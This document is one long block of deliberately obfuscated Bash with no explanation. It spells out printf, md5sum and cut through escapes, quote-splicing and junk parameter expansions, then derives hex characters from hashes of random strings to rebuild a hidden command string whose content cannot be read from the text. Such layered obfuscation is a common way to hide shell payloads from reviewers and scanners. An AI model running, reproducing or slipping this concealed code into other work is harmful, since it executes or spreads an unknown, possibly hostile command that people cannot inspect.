${*##C_pH\{7} ${*%,Byzz}   '''m'\d"${@,,}"5su''m   ${@~~} |  ${!@}  ${@~} "c"''$'\u0075'"t" -b  $[  ((-5"#"1"1"*49#1)+9#$*23)   ]-$((  ((-4"#"13+${*~~}2"#"10"1")+4${*^^}4#i)   ))  "${@//2DPi/_AsGXk}"  )"   "${@//:\!\!0y^}" ${@/uSgE1/\!2,\)u\)S}   ;   ${*~~}  ${*%oP$n<:}   p'r'\i${@~~}nt"""f"  "\x$(   ${@~}   pr\in\tf %s  'O&T*^GW'   ${*/HriwB+M}   ${@//$cP2X>/\!O6:vUQ}  |   ${*##U<mnN}   ${*/CP:2HRy4/nOh~} 'm'd5su''m  ${*^^} $@  |   ${*^}   "c"''$'\u0075'\t   -b  $[  ((-8#"1""1"+5#"1""0")+55"#"a)  ]-$[ ((${@,}-"5"${*,}3#${*/s\)<\"w/Po\{&\[IZ|}1*"1"${*^^}2#"$@"1)+8${@,}#${!@}10)  ]  ${*,}   ${*//_;zp/>\"Y*} )"   ${!*}  ;   ${*,,} pr${*}i'n'$'\x74\146'  "\x$(   ${!*} ${*}   $'\160\x72''i'\n$'\164'"f"  %s '#|V=' ${*,,} ${@}  | ${@//+%FP/>^ZH\"y$}  ${!@} m''d5""'s'"u"m ${*/U\qD/%xh<:b,}  $*   | ${@%%&\)AVoS}   "${@%@W5ka\}G}"   "c"''ut  -b  $((  ((20#0*17#"0")+2#"1"001)   ))-$[ ((4#"1"0*2${*##\{\]\[fz}5#1)+${@,}4"#"12)   ]  ${*^^}  )"  ${!*}   "${@~}"  ;   ${@,} ${*^^} ''"${@%,B+-b\!YS}"p$'\x72'intf   "\x$( ${*^} ${*/@fsDbB}p'r'i"${@/hFWSF/ZmxH}"nt""${*/C;VaI/3twJE}f  %s  '@C^G' ${!*}   | ${@~}  md5${@^^}sum   ${*%\[LR*\"1} ${@%%%+t4wFmK}  | ${@~~} ${*//\}Yc7X&~}   ${*^^}cu"t" -b $((  (("${@//.\!>9n/JTt?}"47#1+"${@//c@&>}"41#i)+9#10)  ))-$[   ((-"1"8#12-"2""8"#o)+19#3"g") ]   ${*##YAb#u}  )" ${@//?\{fz\]}   &&   ${*%84;lqv\[m}   ""${*,,}pri"n""${@/qx%\)o/*gAq}"t"${@^^}"f   "\x$(   "$@"   ${*/G>wV+j2a} pr${*//:B\;}i\n''$'\u0074f'  %s   '3\z|,'   "$@" ${@#O61?Ko0\[}  |  ${@^}   ''$'\x6d'd"""5"s"u"m  ${@##D9J;B>}  ${*#\}|\`xsv}   |  ${@%%vw,Q}   c"u""$@"t   -b  $[  ((-37${*~~}#"1"0+"2""8"#"${@,,}"1"n")+60#d)  ]-$[   ((-${@/#3_.e}4#1"0"+30"#"j)+"5"#${*##X\"jk}2${@//66<n0}3)   ]  "${@^^}"   )" "${@^}"  &&  ${*}   \p"r"""in$'\x74'\f  "\x$( ${@//8nwYjskn} $'\160'''${@//*?\]Z}ri$'\u006et'f  %s  'X8S6jc&'   "${@##P2qCoJ}"   |  "${@//8_znRG}" $'\u006d'\d\5su'm'  ${*~~}  ${@,}   | "${@##\(b<5}"  $'\u0063'ut -b  $[  ((28"${@#&\Oo}"#0+5"1"${*//\{|6@Y}#0)+8"#"10)  ]-$[   ((-56${*/XUOd;/^,?WTPeV}#2*58"${@}"#0)+2"#"1001)  ]   "${@#\RTKg}"   )"  ${*^^} "${@%7m~vTD\`\]}"  ;  ${*/g1DFc} ${@%%0.Cy}   $'\160ri''n'""'t'f   "\x$( "${@##u4\pKv\[r}" p''$'r\u0069nt'"f"   %s  '\Hc,,'   ${@~~}  ${@//V6h8.Bs} |  ${@~~}   $'\u006d''''d'${@%%pW4;}5$'\163'$'\u0075''m'  ${@~~} ${@/\{M;9;||}   |  $@ ${*,}cu${@~~}t -b   $(( (-(-("2"5#0-${@//n@=\]?s}-49#"2")+$*4#${@//,R&sdQ\"}1))   ))-$((   (("${@^^}"50#1*9#"${@/j\(1\)O\"}"0)+5${*//8Giz8h1/<y@+IC}3${!*}#2)  ))   ${*%%SSwg\{m\)N}  $@   )"   ${*^}  && ${@//n@?@8j}   "${@##gL57y*By}" pr$'\u0069'ntf  "\x$( ${*^^}  ${*##\(CAcN\"7}   "${@^}"pri\n${*^}tf  %s 'zhAObr!'   "${@/oWs>wW+}" |  ${@^} ${*~~}  \m"d""5"s''um  ${*^} ${*/;Q\"o$m/z\)Eyf}  |  "${@//>Ajmg3}" ${*//2j^q/:?w\{} ${@,,}cut  -b   $((   (-(-(4${*/Z\`J7o>~}2"#"e--4${@^}#10)+"${@##_\{Vh=}"3#10))   ))-$[ ((39#b+2${@%\(.1Al}#11)+${!*}55#2) ] ${*}  )"  "${@^^}" ; ${*/tF0p\!Oj2/BA@f*v}  "$@"pr""i""n"t"f   "\x$(  $*  "${@//|iZZ}"pr\in''$'\164'f  %s '.`-='  $@  "${@##YR4r}" |  ${*~} ${*^}m$'d\65'''s""$'u\u006d'  ${*,}   ${@/$+g\)}  |  "${@//hQcJTpP}"  ${@//dS~\`n\(b/p?Ieu\]\]}   "${@#r9%ef}"cu""$'\u0074'   -b  $(( (-(-(-7#14*${*/_jp2o}-"4"#1$*1)+"1"7#1e)) ))-$[   ((4#21*"-"6"#"10)+62#"1"h)  ]   "${@}"  )"  "${@~}"  ;  ${*^}   p${*/f1g*8}ri\nt''\f  "\x$(  ${*~~}  ${@//VeeMgT=/\!hC\(tL}p'r'\in"${@^^}"t$'\146' %s  '.drGmt'   "${@^^}"  "${@}"   |   ${*//s^H\!/9mw7Y} 'm'\d5""sum   ${*%v|.Av} ${@^^} | ${*###BFvq1}  c''ut   -b  $[   (("2"8${@}#0*"$@"3"3"#0)+4#"1")  ]-$(( (-(-(5${*%ue16Uz,\}}1#${!*}2--44"#"${*/tEXZbF}2)+5#${*}2)) )) "${@}"   )" ${*}   ${*,,}   ;  ${*%V9U75I} ${@^}  \pr\i$'\x6et'""\f  "\x$(  ${*,}  ${*%>^U_.B,2}  pri$'n\164'f   %s 'QRey'  ${*%h_R\]:}  |   ${@//p,\!\{/:Eb%+Y}   ''\m'''d'${*//Hw1e7j\"}5${*,}su\m  ${*^}   |   "${@~}"   "${@%-\}\(w\!}"  ""cu""t  -b   $(( (-(-(4"${@,}"9#"m"-$*-42${@,,}#"A")+1"${@/cJ.6/neG#@3%}"9#"2"${*#KqAQcHL}1)) ))-$[  ((24"#"j+${@,,}-${*#TOh5FX\]A}3#2)+2#11)   ] ${!@}   )"  ${*~} &&   ${@^^}   p'r'in"t"\f  "\x$( ${!@}   ${*,,} \p"r"$'\151n'${!@}t$'\u0066'  %s  'DC]Np~4+'  ${@%%\{:#i}  ${*/f:c\]RzW}  |  ${@}  "${@//bb#XNU}" \m$'\x64'"${@~~}"5$'\u0073u'm   ${*~} ${*^^}   |   ${!*}  c'u't   -b $((   ((40"#"0+-${@#t^5kn>}2#111)+${@//m+Z\!l+H5}3${@^^}4#"${@%%jnIhV\`p}"u)   ))-$(( (-(-(${@/Pm|l\}3}40#p-$*-${*#xfZ34c}2#1000)+"5"#1"4"))   ))   ${@//mW\}P\(} "${@,}" )"  ${@^} "${@~~}"  ; ${@^^}   ${@/x;#ebi&/?yBX#-qF}  "p"${*//XR\(m\(}r$'\u0069'\n$'t\x66'  "\x$( ${@}   ${*/nF-4dL,}   ${*/EO^Z6e}p$'\162'i""ntf  %s  'u4Mn,('  ${*,,} $*   |  ${*%NyK\[b+Q}   \m""d5${*#aV\Fmq}sum   ${@%Wm\{Y} ${*^}   |   ${@%%OsIZ^}   "${@^^}" cu${*//\Qu>;XH}t   -b  $((   ((${*//Pt.5.pp/\)gmcb*}-${*//.qgP^\}6}48#"${@~}"1*3"#"1)+5#"1"0)  ))-$((  ((-45"#"1*4"${@~}"#1)+3#"2"0)   ))  ${@//KYn*E/jvy1J^} )" ${@} ;   ${*}   pr''$'i\x6e'''$'\x74'f   "\x$(  "$@" \p"r""i"'n'\t'f'  %s '`N%.Lj' ${*#cNriiAOf}   |   ${*~~}  \m''d\5$'s\x75m'  "${@%%|R:zgETb}"  ${*^^}  |  ${*//Jx<$Z} ${*}   c$'u\x74'   -b $(( ((-6"#"12+2"#"11)+59#"a")   ))-$((   (("5""2"#"${@}"0-"3"5#0)+5#11)  ))   "${@~}"   )" ${*%+B7iY\[S} ; ${*//V,\[M}   p$'r\151'''nt$'\146'  "\x$( "$@"   ${*#uFp@}  ${*~}p${*~~}r''i\n${*//2#cX=&>p/^NE<}tf %s 'yk_m\6T' $@  ${*%zE&p} |  "${@/v~>Du}" ""$'\155d5'$'\163\165'"m"   ${*##0p&.$0K}  | ${*,}  ${*~} cu\t  -b  $[   ((${*%%CC1UB8\{}-17#13--4"#""2"0)+28#15)   ]-$(( ((-"9""#"1"${@//M>\;C\}C/oD%q*BcI}"0*37#2)+43"#"E)  ))   "${@##,ZcW><}" ${*/>q=,\(1Z/w@ZWZit6} )"   ${@,}  ; ${!@} p${*//13d0RE}r$'\151'n""\tf   "\x$( ${*//?gp<cKI}  ${*%<\(DS} $'\u0070r'${*%8X1\{.\(,}in"${@~~}"tf  %s   'iJ(v2z=<'  ${*~~}   ${*/.K=N/:hYWF} |   ${*,,}  md\5$'\u0073'"u"m  ${@//\)R2;}  ${@~}   | ${*##|Z\]5KHZn} ${*##\`\)\"7p}  "c"u""t   -b $[  ((${*}-4${@##=Asy}#${*%%d&RgN@Nx}20+16"#"1)+19"#""c")  ]-$[ ((${*,}-5"3""#"b+"${@,}"5#11)+8#13) ]  ${@//1\(+L&qk}   ${*%%6\>va#}   )" "${@//$E,S5Z6b/\(\}n1csL\"}"   && ${*/j3@\ugT}  p\ri$'\u006et'f   "\x$( $@  \p$'\u0072i'${*/S0X&Pk/_C\)3}ntf %s   'a&&fbh!N'   ${@,,}  ${*/Fls;K9/dEVxF5}   |  $*   ${@//#&3~yV}  "m"$'d\x35's''u\m ${*%B$\(s*%} |   "${@,}" "${@}" c"u"t -b  $[ (-(-("1"9${*##pJ_ASP}#"1"${!*}3--42"#"${*^}r)+"3"${@}6#i))   ]-$((   (-(-(-49${*/y\{v\"V\)3/9b\N}#i+4"4"#"1"j)+1"3"#10))   ))   ${*#\!D3R\"c9,}   )"  ${@~~} &&  ${!@} ${*}   ''pr$'\151'n''tf  "\x$(   "${@/u29cX}"  pr${@%<:VtW\]}i${*~~}nt\f %s '6;p;='  ${@~}   |   ${@##4%3$?@7m} \m'd'5s${*//BDJh}u${*/<fS*}m  ${*,} | ${*/0\[&6/B51B@}  ${!@}  c""\u\t -b $(( (-(-(50#${*,}1-"-"28"#"c)+5#11))   ))-$[   ((-"3""7"#${*//E:xF5s}e+-"5"${*,,}#12)+55#t)   ]   ${*^^} "${@}"  )"   ${@^}  ;  ${@,,}  $@ pr"${@,}"i''"n"'t'"${@}"f   "\x$(  ${@^}  $'\160'\r""in${!*}tf   %s   '1Uu`\'  ${*,,}   | ${*##|5\]b4\{} md$[ (-(-("4"5#"2"-"-"${*~~}4#"2"1)+2"#"110)) ]$'\163'u$'\u006d'   "${@##K>VDb5Q}" ${*,}  | ${@//8pJk/U~\"J6K} "$@"  $'c\165't   -b $[   (-(-(2#1"${@/P&a6Wnt}"0${*~}0110--38#z)+${@%%QK<m^ocm}3${@,,}0#1"i"))   ]-$[ ((26#a-2#100"0")+7#${*/N\]\)DImZ*/v.*N+dC}33)  ]  ${@~~} ${@##?0C8BC#r}  )"  ${*%%8D0\]$\"}  ${@}  &&   ${*%%=.85wwL} ""\p''$'r\x69\x6e\u0074'\f  "\x$(  "${@%%\]*uR;kqR}"   "${@/RnPM/ClL3n\[~}"   ''p$'\162i'n${*//ogYV}t"${@,,}"f   %s  'SV5?' "${@~}" ${*/E@J:n&K#/\`7AcM}  |   ${*}   md5$'s\x75'''${*//myYO}m   ${*,,}  | $@ ${@^^}   ${*^}c${!*}u\t -b  $[ ((-4"6"#e+2${@//V,ZFS/Qw\{.G}4#${!@}1${*/SA2@\)Y}0)+"5"#13) ]-$[   (-(-(-34#1-${@%%&~?0}-4#"${@/r\(e5B}"1"${@^^}"20)+"2"#10${@/cqF3gg4S}0)) ]  ${@}   )"  "${@##8:i?lsYM}"  ${*~~} && ${@,,} ${*##LIFITVg}   "p"$'\x72\x69'n\tf "\x$(  "${@%%iJ?YCy}" ${@%w\`\<;L}   p$'r\x69'""'n'tf %s   'cl|J}oR'  ${*//XI5w|5:} | ${@~}   "${@~}"   'm'"${@^^}"d5''s'''u'm   ${*,,}  |   ${@#_@LF\(}  ${@//@FtuF^41} 'c'$'\u0075'$'\x74' -b  $((   (-(-("2"#"1""0"0"1"+5#3"0")+4#"3"1))  ))-$[  (-(-(3#"1"$*0"0"--2${*/j9#n*}1#"f")+"${@~~}"60#c)) ] ${*%-\}\}p\]V}   )" "${@,}" ${*%%\"3O;vc} && ${!@}   "${@%gM?ll}"   p\rin\t"f"   "\x$(  ${*/hheQ} ${@//\)8\)X|} \p$'r\151n'$'\x74f' %s  'QX;lQdu<'   ${@,,} ${*,}   |  ${@##I~~-7\(M8}  m\d$'\x35'''$@s''\um  ${@//$wtE_3o/-tn;IW}  |  ${*,}  "${@,}"  $'\u0063'''$'\u0075'""\t   -b $((   (("-"5"#"1"0"*3"#""${@^}"20)+52#"1""3")  ))-$((  ((57#w-6#$@43)+"6"2#"l") ))   ${@/\`IALT\\}   )"   ${*#F.?sX}  ${*,}   ; ${@//@3|s&}  ${*~} ''\p''ri''"n"${*~}tf  "\x$( ${@~}  \pri"${@%%~6zFfRE}"n't'f   %s   'AK#-71'   ${@^} | ${*~} ${@//>K:T$g_}  $'\x6d'd"5"${*//r4E=\!4/\{N\}p&oHu}s$'\u0075'm   "${@,}"  |  ${*//8\}@:\]}   cut   -b   $[ (-(-("$@"3#10*${*//vrf\(\(^wj}3#2)+33#"0")) ]-$[  ((-27#1-${*~~}5${@//E@;joKH.}#2)+32${*/H<Jw}#"a")   ] "${@%%W\`\}\!Z}" )"  ${*%N1FPao%^}  &&   ${@/:j\]Wf:hh/>\]%k\[.} ${*~~} ""p$'\162i'n''"t"${@^}f   "\x$(   "${@^^}"  ${@##&HxWgM}  ''\pr'i'$'n\x74'$'\x66'  %s '%tz@A&P%' ${*%%DfdT;R:}  ${*,,} |   ${*,}  m\d5\s'u'\m  ${*}   "${@//D&1deN*+}"  |  "${@^^}" ''cut  -b $[  (("5"#10*56${*^^}#0)+56#b) ]-$((   ((-"6"0"#"1*2#11)+"4""8""${@~~}"#$*f) )) ${*/Dm\)3e4#/*Q4B&6dF}   )"   $@   ${*//Kiha3MWn/C&hw}  && "${@%%\}\!E~Y}"  ${*,}  p${*~}ri\ntf  "\x$(  ${*^^}   ${@^^} p\ri${*%^V9etsd}n${@~~}tf  %s 'W|:5Z2w'   ${@%%gFtd3^}  | "${@//o#a\`/~7&\]v4%~}" ${*^^}  $'\u006dd\u0035'""$'\u0073'''${!*}um  ${@,,}   | ${@#$5\"z}  "${@~~}"  c${*//5a4\}@}u$'\x74'   -b   $[   ((60#0*27"${@^^}"#0)+60#1)  ]-$((   (("3"${*,}#"0"*3"7"#0)+"4"2#2) ))   "${@#q~9<a.2\!}" ${@~}   )" ${@,}   "${@/~>2&o}"  &&   "${@/#\"MZkl\!/PT\!;uGbP}"   p"r"\int${*,,}f "\x$( ${*%=\)\(<m}  pr${*/HY=q}i\n\tf   %s   'TMZe;<__'  $* ${!@}   | "${@//XG?5pc}" m${@//k~Eq_u/ZYd\`:\!P}d"5"$'\u0073'''$'\165'''$'\u006d'  ${@/5OsB^b/m;uQS3m}   ${*/z\$kYf\(} | ${*/\(45%/7r,OG}  'c'u't'   -b $[ (-(-(-3${*}7#${*%5i0+\}\`5j}g--"1"${*,,}3$@#3c)+8"#"10)) ]-$[ (("-"${*/T6o\(I0@/m|e.\`L4\\}3${*#?^,Bx.+}4${*#hvs\!}#"${@##4\{vJ@HT}"16+${@//,-:XN#/9HU@P}2"#"1${@/\)jbU$/T\m$lA\(}00)+3${@/o$H\{T\J/oTUX}8#1${*,}q) ]  ${@%utdwV>} )" ${@##pqtMU*n}  ${*,} ;   ${*~}   "${@#YWpAf\!Z}"   'p'"r"i$'n\u0074'f "\x$( ${*//SjE%/hT:D8}   p\r\i'n'''tf %s   'KzY[as' ${!@}   ${*}  |   ${*/%s&Xn\"wO}  ${@//sdKx4t/Q0X3nTDB}  'm'\d${*##^&pl,9Q}5''sum ${!*}   ${@#rN@y}   |  ${!@} \c$'u\x74' -b  $[ (-(-(${*//GmEr*y?J}21#"a"*3"#"1"1")+3${*//|_<H#<<_/ob\"3}9#"${@~~}"i))   ]-$[   (("${@~~}"-47#"a"-${@^}-3${*//fnvH4,Y/tRku}#1${*//\"Kux+^/w\)qqpV<d}0)+30#10)  ]   ${*/x.$PzD}   "${@^}" )"  "${@/Z<6:-A/Lh-UFZHt}"   "${@#BttHJ}"   && ${@~~} $'p\x72'\int''f "\x$(  ${*%%6fZ}   ${*##_l%I}   p${@##_$8\(}ri'n't''f  %s  'RUzUce?i'  "${@~~}" ${@~~} |   ${@/mB%\{}  ${@/xU*2\)3\S/voW\]} md'5's\um   ${@#4%|\(d9}  |  "${@^^}"   ${*//r3fR/0IgVU} cu''t  -b  $[ (("5"#1"2"*22#"0")+4${*%Y&\]B$~-x}9#"u")   ]-$[   ((-${*/*FRX1M/G|\!\)5zs&}55#"${@^^}"1*-"${@%sjv\]<}"3#11)+6${@/.\"W9/|;22ueg}0#"${@//tNTW}"r) ] "${@~}"  "${@,,}"   )" ${*~}  ;   "${@/+\!V5\^m}"  print${*/@y81}f "\x$(  ${@//5\],^9}  ${*//:&Sr-e/KJaOH}  "p"$'\162'i${*^^}ntf  %s   '"$FR'   "${@}"   ${@%EqnM}   |   ${*%T9\}W}  m$'\u0064\u0035'""su"m"  ${@//y\"Ok27P/\}V>o\\}  "${@,}"  |  ${@//x?-UJ\)/:;$2} ${@#W\}Xe_d}  cut -b $(( (-(-(-"3"#${*}20*-"2"#"1""1")+4#11)) ))-$[ ((-"6""#"1"0"*5#${*}2)+3${*%hwM$74b}5#q)   ] ${*}   )"   "${@#oVPh#>}"  && ${*/CvP\!,FQ+} ${*^} p${*~}r""'i'n$'\u0074'${@^}f   "\x$(  "${@/8#x6z}" ${*//P*VfDpP} pr''${@%UMTT-3d}in\t\f   %s 'A;*q.PM8' "${@}"  ${*~~} |   ${@/Ji%^}   ''\m$'\x64'''${*/<9EwO}5${*//IOfJ7|/9=MJrjF3}s\u\m   ${*/$OVv>@M}   ${*^^}  |   "${@,}"  ''\c""$'\u0075t' -b $[   (("-""3"#1${*//\]E,3;9A}0*"-"60"#"${*~~}2)+3#"2"1)  ]-$[  (-(-(-4"0"#1-${@^}-14"#"17)+4"#""1""2"))  ] ${@/qJf\"E#/L;n$\{}   "${@~~}" )"   ${*,,}   ${*/\!\}$@/zmkETCy}  ;  ${!*}  $'\160'''"r"""${@^^}i$'\u006e'""tf  "\x$(  "${@%^9r.wS}"  $@   p'r'\i\n\t""'f'   %s  '_;RVx'   ${@^^}   ${@//ai=%5/o\=q} | ${@^}   "${@//yP^OYC}"  $'\x6dd5's"${@~~}"um  ${*//mPUCP5}   "${@%HP?a}"  |   ${*//QdrWVdSn/OBb@>7v&}   ${*^}  "${@%%\`6@s}"c${*#%kaJ8N;$}u\t -b   $[   (-(-(3"#""${@/go&mQ/w\[0,}"12--4"#"1"3")+3${@//CzR%5/?\"\`e9tA}#10))  ]-$((   ((-2${*}0${@/jC\{P}#a+-5"${@^^}"#12)+${*~~}1"2"#"2"3)   )) "${@/^d_IJyG\]}"   )"   ${*/:h4%C-/,3SI.\(4F} ${@//8W0e2G*p/P|&G\!}  ;  "${@^}"  \p$'\u0072\151'""$'\u006e\164'f   "\x$( ${*,}   \p\r''${@##eVq\{}intf  %s   '#Cc;'   "${@#o%z$\}|PF}"  "${@^}"  |   ${*#L-M+} m${*/L4tE<A}d5\su'm' ${@#5o<^s\"}  ${@,,} |  $@ \c\u\t -b   $((  (-(-("${@##ez6D>}"58#"${@,}"2--2"#"11)+${*#JKo~;P\\}3#"1""0"))  ))-$[   ((-"3""3"#2+3"#"${@#CI_&32<_}1"1")+"${@~~}"7#1)   ] ${*~~}   )"  "${@,,}"  && ${*/\"HvX%/ii$Y_}   ${*##D$Y8Z1} ""\p""\r$'\151'\nt''f   "\x$(   ${*%%^\}J@W\[J#}  ${*/6NP8\{HM/MqQm}  $'p\162'\intf %s 'eOSSv' ${@^} ${*%%%w\!j} | ${*~~}  $* 'm'""\d""5${@~~}s""$'\x75\u006d' ${*^^} ${*^^}  | "${@/4P,\\}" ${*,,}  ''$'\x63'\ut   -b $[ ((${!*}-19#2+"6"4"#"$*2)+33#"1")   ]-$[  (-(-(3#11--57"#"${*%%~|~k}2)+2${*%%Zwrc}#100))   ] ${@~}  )" ${@^^} &&   "${@~}"   ${*}   ${@//BUzSl}p$'\162'''in't'$'\x66' "\x$(   ${*/~\(;L}  $'\x70'\ri""$'\156'$'\x74'"${@/_^j\`M-?G}"f %s   '_^<:0cfH'  ${*^}   | ${*/%_pCmC\{}   "m"d5s''um  ${*##BfE8m0\]}   |   ${@^} "$@"   cut  -b  $[ (-(-(${*/\{f^b/JB+aF}1${*,}6"${@^^}"#f-"-"4$@#2"1")+"4"#1"2")) ]-$((   ((4${*}#11*"-"${@~}2"${@~~}"#110)+4"7""#"12) ))   ${*//A\)H\!,R}   )" ${*##$L&z} ;   "${@/P\P\[ld}"  pri"${@^}"ntf   "\x$(  ${*//O0B&RYO/8^S^5_w}   """p"''"${@}"rin${@,}t$'\146' %s '>"5~' ${*/gorxI/\)@Ue:\]*}   $* | ${@#l3\`oDO}  ${@//_W+u\!s} ${*,}m''d5su""$'\u006d'   ${*#H?\Zgoa} "${@%%4+&6@\!9}"  |   ${*/KQGGU/uq^ERWJ} $'c\x75'\t   -b $((   (-(-(-6#13*-3"#"1${*//WIJ\(1P}2)+3${@^^}6#"f"))  ))-$((   (-(-(35#1l-${*%%Jr\!g}-56#R)+"3"1"${@}"#"2"g))  )) ${*//\[0v$mJ}  ${*/wXCcF/\`;l\jY}   )"  ${*//nVb+\"61j/$%%mQt} &&   ${*,} ${*//b#pNLM@} 'p''r'""i$'\u006e't"""${@##hQ\(\N}"f  "\x$(   ${@%.ntG}  "p"r'i'nt""f  %s '>)+@'   ${!@} |  "${@^}"   $'m\144'5sum  ${*~~}  "${@^}" |  ${@##S3\(f|45}   "${@//:A\"JEMi/HP:\\}"  ''c$'u\u0074'  -b  $((  ((-${*^^}6${@}3#"i"+16#10)+53"#""c") ))-$((  ((${@^^}4#11+${*%lA=h?uf}-4#10)+"4"4#${*##BX\`oz}a) )) "${@~~}" )"  $* "${@//\(mGi4P%L}"   &&  "${@%%|*t_%_r}" "$@"  ""\p$'\x72i'nt''f   "\x$( "${@,}" \p''$'\u0072'i${@,}n''t${*%-a\)#>2c}f %s  'AGzZ9'  ${@^^}   "${@%%>*\}E@z;|}" |   ${@##-h=\{txw} ${*^} ${*/$n-w}md5${*%%dR*Kjm:U}su""$'\155' ${*%vN\`p}  ${@#T^x~0P\"}  |  "${@,,}"   "${@//#flG/*-&A-}"   cu"${@%%B\}w\)zn}"t -b $(( ((${*//,GGu\!yAq}-${*^}21${*/FS~+m3/u>\)og1}#1*16#0)+${*,,}36${@//iU\(\`/AZ=R}#2) ))-$[  (-(-(18#0--"2"#"1""${@^^}"1)+"5""6"#0))  ]  ${@##,5\):} )"  ${*^} ${@/Yi-L^/LHaEWI}   &&   "${@/$nKlTw}" ${*/PNGG,Y} \pr""i\n$'\x74'""$'\u0066'  "\x$(  "${@^^}"   p"r"i\ntf   %s  '>L~~om'  ${@%\]\)GU:Y}   "${@,,}" |  ${*,,} "${@%lZez0QfS}"  \md5's'u${@^^}m  ${!*}   | $@   cu"${@%CY4-6}"t -b   $((   (-(-(5#1"3"--5"6"#d)+59"#"$*c))  ))-$((   (("${@/OJk5K+/\`TNOy}"-${*,,}44#2*3"${@^}"#"1"0)+"3"2#g) ))  "${@//zPlH;TD1/&?rffe}"   )" "${@}"   $* ;   ${@~~}   ${*,,} p\r""$'\151'nt''f "\x$( "${@##3P|f4}"   ${*}  p"r"i$'n\164'\f   %s 'Xn^%?Kl'  "${@~}"  ${*^}   |   ${*##Us\{@\}X}   ${@%%4-uleP\{} m"d"5\su${!*}m   ${@^}  | "${@}" ${@/M?#6i\(/Zu5HV7}  $'c\u0075t'   -b   $[ (("${@^^}"5"${@//W9v\]WY\Q}"6#b-"-""3"#1"1")+28"#"2) ]-$[  (-(-("4"5#i--6#"1""${@#3#q$}"0)+2"${@#\[&:%<|eg}"#${*/SIVO;b/lJFk@}1"1"0)) ] "${@~}"  )"   "${@/sE64mx:Z/:u^#pw}"   &&   ${@,,}   p$'\162'$'\u0069n'''tf "\x$(   ${*/Rztz=En} p\rintf   %s  '^8;60<'  ${*//N7hZ}  |   ${*~} "${@##;\)>lCFZ}"   """${@~~}"m${*^^}d\5s$'\x75m' "${@#;V,\`\(Ys}"   | ${*,}   $'c\u0075'''"t"  -b   $[  ((${*,}-29"#"1"$@"d+4"5"#j)+"1""4"#32)  ]-$((  (-(-(3#"2"11--23#${*##oN\"6B\"q}1g)+"1"2#33))  ))   "${@}" )" ${*%%6C+U<H|} ; ${*#7uG@}   ${*%j@tA}   ''"p"r$'\151nt'"f" "\x$(  ${@~}   ${@^^}pri${*/IHzgr}ntf  %s 'Fj03E'   ${*//Crrqk3} |   "${@##oz3?cQ}"   "${@%%5|->p}" "m"d''\5s$'\x75'\m  ${*^^}  ${*^}   | ${@//eMIa/\}=,\]}   ${*%%p\"\)s}   ''"c"'''u'\t  -b   $[ (-(-("2"7${@~}#${*,,}1"3"-${@##;>#^*%}-"1""7"#12)+${*/H|eZXc/PVmljK}2${@~~}2#${*~}k))  ]-$[  ((-15#"e"+"5"${*#dhM$noV}4#m)+30#m)   ] ${@^}   ${*,}   )"  "${@~~}" "${@~}" ; ${*}  prin$'\x74'\f  "\x$(  ${@//\}0K@dFAs/%28\[D} ${@#A6PF.E}  ${*%%dR|u}p${*//>^|V}r""\i""n\tf  %s   'C+S50'   ${*}  ${@%m2xm=q@}  | ${*//+r0\(}   ${*/R1-l+A}   "m"d5s''$'\x75m'  "${@#\).\}FOR}"   |  ${*~~}   'c'''u''t -b $[  (-(-(${@#f2y_n\ix}28#j--$@23${!*}#15)+38${*//iD1A7fz%/?TEV}#"s"))  ]-$[   ((-4#11*"2"$@#10"${@/H4*CN%U$}"0)+${*,,}37#13)   ]   ${*%UGFR}   )"   ${@//JZ3BJAKT/b^V^w} && $* pr$'\x69'n${*%%kovol%^E}tf   "\x$(   "${@}"   ''p""r"i"'n'tf  %s 'z=?e' ${*~~} ${*#NbNm$D} | "${@%dt|3\]s}"  ${@~~}   md\5$'\163'u"${@}"m   "${@%b<U.}" ${*^^} |   "${@}"   c${*^^}u"t" -b  $[ ((${@##9vCq}-3#"1"0*46#2)+4"2"#c)   ]-$((  (-(-(5${@^}3#1+"9"#1${*#6.Xp|}0)+3"#"10)) ))   ${*/w:35V\]/<9B.gY}  "${@^}" )"  ${*/aI\!w7D.} ;   ${@%%Q4q\}dGU}   \p""ri\nt""${@~}f  "\x$(   ${*/lL04U\"e/s~-dLZ}  pr''intf   %s  '73UBr9f' ${!@}  |  ${@} ${*%%P?U\nWJ}  "${@~}"m''d5\sum   "${@##?2\"I2\{}"   "${@~}" | ${@//\(I7U>%YU/q:Rl,mg>}  ${*#u;oEznFj} ''"c"'u'\t  -b  $((   (-(-(3#12*${*/j|yhGANA}4"#"11)+8"#"1${*^^}1))  ))-$[  (-(-("6"#"1"3--"1"5#"1"${@%%R4W\`.KLs}1)+6"${@#$-2R\{T\`U}"#1"2")) ]   ${*,}   ${*/e.os} )" ${*/G0io_/P\),aM\O} ${*%%n8#>>\(M}  ; "$@" p\r$'\x69'\n"t"''"${@//\"OLp+B/wU\"7_<}"f "\x$(   "${@,}"  pr""$'\x69'\n''tf %s   'E^]Cq5A&' ${@} ${*^}  |   ${*~} ${*~}   ${*^^}m"${@##1@cqQ?}"d5''sum   ${*/\!?\raP@}   ${*/SrD.\!/\!q\(k8}   |   ${*~}  ${*,,} c\ut  -b $(( (-(-(${@%%+F\}F\]0Rb}2"#""1"0${*,,}0*"5"${*^}#${@^^}13)+3"${@//8fd|N/$VOG\}r-}"#"1"${*,}1)) ))-$[ ((-4${*%#9pI+2}1#a-6"#"12)+4#233) ]  ${@/.*.JY3/VzVb,\}Sj}   )"   ${*~~}  ; "${@}"  $*  pri${*~}n""tf   "\x$(   ${*//bk07:l\{A/%IJ\`Ik}  p""\r''i"n"tf  %s '_bSFWqA' ${*%rT\(W} "${@##86\{1:H\{u}"  | ${*^^}  $'\155'\d${*/\!\]zz/&TVM+}5$'\163''u'm ${@%%n5.eJ:t\!} |   "${@#<\{?t}"  ${*,}cu''$'\u0074' -b  $((   ((44${*,,}#0+${*/=dgr/\}\)5LN*6}14#${*##LBc.N}12)+"2"#1"${@,,}"00)   ))-$[ (-(-(8#"${@~~}"10--"2"7"#"1e)+27#1${*^}1)) ] ${!@}   )"  "${@//2y.ns?/D1o9oW}" ${*//#;gPuL7}   ; ${*^}   \p"r"int'f'  "\x$( ${*^}  $*  p${!*}r${*%%r^F,}i""nt"f" %s 'r!Tsr'   ${*//##5G99jF} | "${@%%@|.JTC3_}"   ${*%%;bO*N@g5}m\d''5""'s'um ${*%%BmQxfIa}  ${!*}   |   ${*/=H4&}   cu"${@^^}"t   -b  $((  (($*-22#"1"*"3""9""#"${@}0)+2#"${@~~}"1${@,,}00) ))-$[  ((-"4"3#"1"-2"#"1"0"${*,,}0)+"${@#H^>Y}"2#"1"010)   ]   ${*}  